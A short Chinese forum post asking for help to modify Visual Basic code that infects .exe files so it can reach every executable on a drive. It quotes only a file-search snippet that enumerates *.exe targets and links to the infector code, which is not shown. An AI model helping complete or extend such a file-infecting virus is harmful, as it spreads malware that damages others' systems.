高手帮偶修改下vb感染exe文件的代码，谢谢！

http://hi.baidu.com/yueguang520/blog/item/f9f35e895b6be9b30f24441d.html
---------------------------------------
以上是某高人写的感染exe的vb代码
ps.文字太多发不上去，就把网址发上来了
但有一个不足，就是无法感染全部的exe文件
为了完善就自己做了起来
由于vb中没有搜索文件的函数
于是我就去网上查找搜索文件的代码。。
以下是找到的搜索文件代码
====================================
http://hi.baidu.com/f_fx/blog/item/513569f064a123afa40f52ae.html
==========================================================
使用方法：
Dim ff() As String '储存找到的文件,分别是ff(1) ff(2) ff(3)...ff(nu)
Dim nu As Long '找到的个数
Dim i2 As Long 'do : ff(i2) : i2=i2+1: if i2=nu thenexitdo : loop这样的结构

nu = TreeSearch("d:\", "*.exe", ff()) ’语句

我也试改过了，但由于本人菜的缘故所以没成功。。